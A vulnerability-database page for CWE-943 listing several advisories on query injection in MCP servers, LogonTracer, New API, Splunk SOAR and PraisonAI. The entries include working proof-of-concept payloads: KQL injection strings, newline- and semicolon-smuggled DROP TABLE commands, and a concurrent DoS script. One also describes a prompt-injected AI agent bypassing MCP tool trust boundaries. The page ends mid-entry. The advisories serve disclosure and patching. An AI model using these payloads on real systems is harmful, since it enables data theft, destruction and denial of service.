Common Weakness Enumeration

CWE-943

Allowed-with-Review

Improper Neutralization of Special Elements in Data Query Logic

Abstraction: Class · Status: Incomplete

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

231 vulnerabilities reference this CWE, most recent first.

GHSA-VPHC-468G-8RFP

Vulnerability from github – Published: 2026-03-27 19:08 – Updated: 2026-03-30 20:17
VLAI
Summary
Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries
Details

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | getschema"          # <-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | sample {sample_size}"  # <-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f".show table {table_name} details"     # <-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject: - sensitive_table | project Secret, Password | take 100 // to read arbitrary tables - Newline-separated management commands like .drop table important_data via get_table_details - Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "adx-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T19:08:09Z",
    "nvd_published_at": "2026-03-27T22:16:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nadx-mcp-server (\u003c= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```",
  "id": "GHSA-vphc-468g-8rfp",
  "modified": "2026-03-30T20:17:30Z",
  "published": "2026-03-27T19:08:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pab1it0/adx-mcp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries"
}

GHSA-VQG4-6JF2-58RX

Vulnerability from github – Published: 2026-04-27 00:30 – Updated: 2026-04-27 00:30
VLAI
Details

There is a cypher injection issue in LogonTracer prior to v2.0.0. If specially crafted Windows event log data is loaded, the contents of the database may be altered.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-33566"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-27T00:16:20Z",
    "severity": "MODERATE"
  },
  "details": "There is a cypher injection issue in LogonTracer prior to v2.0.0. If specially crafted Windows event log data is loaded, the contents of the database may be altered.",
  "id": "GHSA-vqg4-6jf2-58rx",
  "modified": "2026-04-27T00:30:27Z",
  "published": "2026-04-27T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33566"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN57877356"
    },
    {
      "type": "WEB",
      "url": "https://www.jpcert.or.jp/press/2026/PR20260423.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W6X6-9FP7-FQM4

Vulnerability from github – Published: 2026-02-23 21:56 – Updated: 2026-02-27 21:42
VLAI
Summary
New API has an SQL LIKE Wildcard Injection DoS via Token Search
Details

Summary

A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.

Details

The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.

Vulnerable Code

File: model/token.go:70

err = DB.Where("user_id = ?", userId).
       Where("name LIKE ?", "%"+keyword+"%").     // No wildcard escaping
       Where(commonKeyCol+" LIKE ?", "%"+token+"%").
       Find(&tokens).Error

PoC

After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.

image

These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:

# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='

image

It will cause DoS.

import requests
from concurrent.futures import ThreadPoolExecutor

def attack(session_cookie):
    requests.get(
        'http://localhost:3000/api/token/search',
        params={'keyword': '%_%_%_%_%_%', 'token': ''},
        cookies={'session': session_cookie},
        headers={'New-API-User': '1'}
    )

# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
    for _ in range(50):
        executor.submit(attack, '<valid_session>')

Impact

Availability

RAM Overflow

image

Postgres unavailable

image

  • Database CPU usage spike to 100%
  • Application memory exhaustion
  • Legitimate user requests blocked or significantly delayed
  • Potential application crash or database connection pool exhaustion

Database Performance

Testing with 2,000,000 tokens:

Pattern Query Time Rows Impact
test (normal) ~50ms 0 Low
% (full scan) 5,973ms 2,000,000 High
%_%_%_%_%_% 6,200ms+ 2,000,000 Very High

Attack Scalability

  • Single attacker: Can launch 10-50 concurrent requests easily
  • Multiple accounts: Attacker can register multiple accounts (if registration enabled)
  • Proxy rotation: IP-based rate limiting can be bypassed
  • Persistence: Attack can be sustained indefinitely

Resource Consumption

Each malicious request with 2M results: - Database: ~6 seconds CPU time - Network: ~200MB data transfer - Application Memory: ~200MB+ for JSON serialization - Connection Time: Database connection held for entire query duration

Exploitation Scenario

  1. Attacker registers or compromises a regular user account
  2. Attacker crafts malicious LIKE patterns using % wildcards
  3. Attacker launches concurrent requests (50-200 concurrent)
  4. Database becomes overwhelmed with slow queries
  5. Application memory exhausts from processing large result sets
  6. Legitimate users experience service degradation or complete unavailability

## Patch Recommendations

1. Escape LIKE Wildcards (Critical)

func escapeLike(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, "%", "\\%")
    s = strings.ReplaceAll(s, "_", "\\_")
    return s
}

func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
    keyword = escapeLike(keyword)
    token = strings.Trim(token, "sk-")
    token = escapeLike(token)

    err = DB.Where("user_id = ?", userId).
           Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
           Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
           Limit(1000).
           Find(&tokens).Error
    return tokens, err
}

2. Add User-Level Rate Limiting

tokenRoute.GET("/search",
    middleware.TokenSearchRateLimit(),  // 30 req/min per user
    controller.SearchTokens)

3. Add Query Timeout

ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).Error
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/QuantumNous/new-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.8-alpha.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-23T21:56:47Z",
    "nvd_published_at": "2026-02-24T01:16:13Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.\n\n### Details\nThe token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries.\n\n### Vulnerable Code\nFile: `model/token.go:70`\n```go\nerr = DB.Where(\"user_id = ?\", userId).\n       Where(\"name LIKE ?\", \"%\"+keyword+\"%\").     // No wildcard escaping\n       Where(commonKeyCol+\" LIKE ?\", \"%\"+token+\"%\").\n       Find(\u0026tokens).Error\n```\n\n### PoC\n\nAfter creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.\n\n\u003cimg width=\"1636\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6\" /\u003e\n\nThese data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:\n\n```bash\n# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.\ncurl \u0027http://localhost:3000/api/token/search?keyword=%\u0026token=\u0027\n```\n\n\u003cimg width=\"491\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124\" /\u003e\n\nIt will cause DoS.\n\n```python\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef attack(session_cookie):\n    requests.get(\n        \u0027http://localhost:3000/api/token/search\u0027,\n        params={\u0027keyword\u0027: \u0027%_%_%_%_%_%\u0027, \u0027token\u0027: \u0027\u0027},\n        cookies={\u0027session\u0027: session_cookie},\n        headers={\u0027New-API-User\u0027: \u00271\u0027}\n    )\n\n# Launch 50 concurrent malicious requests\nwith ThreadPoolExecutor(max_workers=50) as executor:\n    for _ in range(50):\n        executor.submit(attack, \u0027\u003cvalid_session\u003e\u0027)\n```\n\n### Impact\n**Availability**\n\nRAM Overflow\n\n\u003cimg width=\"1078\" height=\"145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149\" /\u003e\n\nPostgres unavailable\n\n\u003cimg width=\"772\" height=\"185\" alt=\"image\" src=\"https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b\" /\u003e\n\n- Database CPU usage spike to 100%\n- Application memory exhaustion\n- Legitimate user requests blocked or significantly delayed\n- Potential application crash or database connection pool exhaustion\n\n### Database Performance\n\nTesting with 2,000,000 tokens:\n\n| Pattern | Query Time | Rows | Impact |\n|---------|-----------|------|--------|\n| `test` (normal) | ~50ms | 0 | Low |\n| `%` (full scan) | 5,973ms | 2,000,000 | High |\n| `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High |\n\n### Attack Scalability\n\n- **Single attacker**: Can launch 10-50 concurrent requests easily\n- **Multiple accounts**: Attacker can register multiple accounts (if registration enabled)\n- **Proxy rotation**: IP-based rate limiting can be bypassed\n- **Persistence**: Attack can be sustained indefinitely\n\n### Resource Consumption\n\nEach malicious request with 2M results:\n- **Database**: ~6 seconds CPU time\n- **Network**: ~200MB data transfer\n- **Application Memory**: ~200MB+ for JSON serialization\n- **Connection Time**: Database connection held for entire query duration\n\n## Exploitation Scenario\n\n1. Attacker registers or compromises a regular user account\n2. Attacker crafts malicious LIKE patterns using `%` wildcards\n3. Attacker launches concurrent requests (50-200 concurrent)\n4. Database becomes overwhelmed with slow queries\n5. Application memory exhausts from processing large result sets\n6. Legitimate users experience service degradation or complete unavailability\n\n ## Patch Recommendations\n### 1. Escape LIKE Wildcards (Critical)\n```go\nfunc escapeLike(s string) string {\n    s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n    s = strings.ReplaceAll(s, \"%\", \"\\\\%\")\n    s = strings.ReplaceAll(s, \"_\", \"\\\\_\")\n    return s\n}\n\nfunc SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {\n    keyword = escapeLike(keyword)\n    token = strings.Trim(token, \"sk-\")\n    token = escapeLike(token)\n\n    err = DB.Where(\"user_id = ?\", userId).\n           Where(\"name LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+keyword+\"%\").\n           Where(commonKeyCol+\" LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+token+\"%\").\n           Limit(1000).\n           Find(\u0026tokens).Error\n    return tokens, err\n}\n```\n\n### 2. Add User-Level Rate Limiting\n```go\ntokenRoute.GET(\"/search\",\n    middleware.TokenSearchRateLimit(),  // 30 req/min per user\n    controller.SearchTokens)\n```\n\n### 3. Add Query Timeout\n```go\nctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\ndefer cancel()\nerr = DB.WithContext(ctx).Where(...).Find(\u0026tokens).Error\n```",
  "id": "GHSA-w6x6-9fp7-fqm4",
  "modified": "2026-02-27T21:42:31Z",
  "published": "2026-02-23T21:56:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-w6x6-9fp7-fqm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25591"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/commit/3e1be18310f35d20742683ca9e4bf3bcafc173c5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuantumNous/new-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/releases/tag/v0.10.8-alpha.10"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4531"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "New API has an SQL LIKE Wildcard Injection DoS via Token Search"
}

GHSA-W82G-FMF2-QPWW

Vulnerability from github – Published: 2026-08-20 00:35 – Updated: 2026-08-20 00:35
VLAI
Details

In Splunk SOAR versions below 8.6.0, a user who holds the "Automation Engineer" role could run arbitrary Structured Query Language (SQL) statements against the Splunk SOAR database and create, read, update, or delete all data in the database. The vulnerability is possible because Splunk SOAR playbook automation data APIs incorporate user-supplied input into database queries without proper neutralization. For more information see Manage roles and permissions in Splunk SOAR Cloud (https://help.splunk.com/en/splunk-soar/soar-cloud/administer-soar-cloud/manage-your-splunk-soar-cloud-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-cloud) in the Splunk documentation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:17:21Z",
    "severity": "MODERATE"
  },
  "details": "In Splunk SOAR versions below 8.6.0, a user who holds the \"Automation Engineer\" role could run arbitrary Structured Query Language (SQL) statements against the Splunk SOAR database and create, read, update, or delete all data in the database. The vulnerability is possible because Splunk SOAR playbook automation data APIs incorporate user-supplied input into database queries without proper neutralization. For more information see Manage roles and permissions in Splunk SOAR Cloud (https://help.splunk.com/en/splunk-soar/soar-cloud/administer-soar-cloud/manage-your-splunk-soar-cloud-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-cloud) in the Splunk documentation.",
  "id": "GHSA-w82g-fmf2-qpww",
  "modified": "2026-08-20T00:35:02Z",
  "published": "2026-08-20T00:35:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76363"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WF65-4JJX-Q444

Vulnerability from github – Published: 2026-10-08 17:17 – Updated: 2026-10-08 17:17
VLAI
Summary
PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
Details

PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

Summary

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

Technical Details

The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.create_collection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.

src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: __init__() calls validate_identifier(schema, name="schema"), and _table_name() calls validate_identifier(collection, name="collection name") before returning f"{self.schema}.praison_vec_{collection}". However, PGVectorKnowledgeStore.create_collection() then executes:

cur.execute(f"""
    CREATE TABLE IF NOT EXISTS {table} (
        id VARCHAR(255) PRIMARY KEY,
        content TEXT,
        content_hash VARCHAR(64),
        created_at DOUBLE PRECISION,
        metadata JSONB,
        embedding vector({dimension})
    )
""")

No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenant_secrets; -- reaches the SQL sent to cur.execute().

src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and create_collection() validates the collection name, but the vector column DDL uses:

self._session.execute(f"""
    CREATE TABLE IF NOT EXISTS {name} (
        id text PRIMARY KEY,
        content text,
        content_hash text,
        created_at double,
        embedding vector<float, {dimension}>
    )
""")

Passing a string such as 3>; DROP TABLE tenant_secrets; -- reaches the CQL sent to session.execute().

PoV

This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.

#!/usr/bin/env python3
"""Local PoV for vector-store dimension DDL interpolation.

The script imports PraisonAI's current source with fake PostgreSQL/Cassandra
drivers, then records the SQL/CQL sent to the driver cursors. No database server
is required; the assertion is that the real classes build executable DDL with an
attacker-controlled dimension string.
"""

from __future__ import annotations

import argparse
import importlib
import json
import subprocess
import sys
import types
from pathlib import Path
from typing import Any


class SqlRecorder:
    def __init__(self) -> None:
        self.statements: list[dict[str, Any]] = []

    def execute(self, statement: str, params: Any = None) -> None:
        normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines())
        self.statements.append({"statement": normalized, "params": params})

    def __enter__(self) -> "SqlRecorder":
        return self

    def __exit__(self, *_exc: object) -> None:
        return None


class FakeConnection:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder

    def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:
        return self.recorder

    def commit(self) -> None:
        return None


class FakePool:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.conn = FakeConnection(recorder)

    def getconn(self) -> FakeConnection:
        return self.conn

    def putconn(self, _conn: FakeConnection) -> None:
        return None

    def closeall(self) -> None:
        return None


class FakeCassandraSession:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder
        self.keyspace: str | None = None

    def execute(self, statement: str, params: Any = None) -> list[Any]:
        self.recorder.execute(statement, params)
        return []

    def set_keyspace(self, keyspace: str) -> None:
        self.keyspace = keyspace


class FakeCluster:
    recorder: SqlRecorder

    def __init__(self, *_args: Any, **_kwargs: Any) -> None:
        self.session = FakeCassandraSession(self.recorder)

    def connect(self) -> FakeCassandraSession:
        return self.session

    def shutdown(self) -> None:
        return None


def install_fake_pg_driver(recorder: SqlRecorder) -> None:
    psycopg2 = types.ModuleType("psycopg2")
    pool = types.ModuleType("psycopg2.pool")
    extras = types.ModuleType("psycopg2.extras")

    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]
    extras.RealDictCursor = object  # type: ignore[attr-defined]
    psycopg2.pool = pool  # type: ignore[attr-defined]
    psycopg2.extras = extras  # type: ignore[attr-defined]

    sys.modules["psycopg2"] = psycopg2
    sys.modules["psycopg2.pool"] = pool
    sys.modules["psycopg2.extras"] = extras


def install_fake_cassandra_driver(recorder: SqlRecorder) -> None:
    cassandra = types.ModuleType("cassandra")
    cluster = types.ModuleType("cassandra.cluster")
    auth = types.ModuleType("cassandra.auth")

    FakeCluster.recorder = recorder
    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]
    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]

    sys.modules["cassandra"] = cassandra
    sys.modules["cassandra.cluster"] = cluster
    sys.modules["cassandra.auth"] = auth


def git_value(source_root: Path, *args: str) -> str:
    return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip()


def try_invalid_collection(store: Any) -> str:
    try:
        store.create_collection("docs; DROP TABLE blocked; --", 3)
    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.
        return f"{type(exc).__name__}: {exc}"
    return "accepted"


def run_pgvector(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_pg_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.pgvector")
    store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False)

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3); DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def run_cassandra(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_cassandra_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.cassandra")
    store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe")

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3>; DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--source-root", type=Path, default=Path.cwd())
    args = parser.parse_args()
    source_root = args.source_root.resolve()

    output = {
        "source": {
            "repository": "MervinPraison/PraisonAI",
            "head": git_value(source_root, "rev-parse", "HEAD"),
            "describe": git_value(source_root, "describe", "--tags", "--always", "--dirty"),
        },
        "pgvector": run_pgvector(source_root),
        "cassandra": run_cassandra(source_root),
    }

    assert output["pgvector"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["cassandra"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["pgvector"]["safe_contains_drop_table"] is False, output
    assert output["cassandra"]["safe_contains_drop_table"] is False, output
    assert output["pgvector"]["malicious_contains_drop_table"] is True, output
    assert output["cassandra"]["malicious_contains_drop_table"] is True, output

    print(json.dumps(output, indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

PoC

Save the PoV script above as pov_vector_dimension_ddl_injection.py, then reproduce against current head:

git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 pov_vector_dimension_ddl_injection.py --source-root .

Decisive PGVector output:

{
  "pgvector": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)"
      }
    ]
  }
}

Decisive Cassandra output:

{
  "cassandra": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)"
      }
    ]
  }
}

The local controls also showed safe integer dimensions produce embedding vector(3) and embedding vector<float, 3> without DROP TABLE, while malicious collection names are rejected before driver execution.

Impact

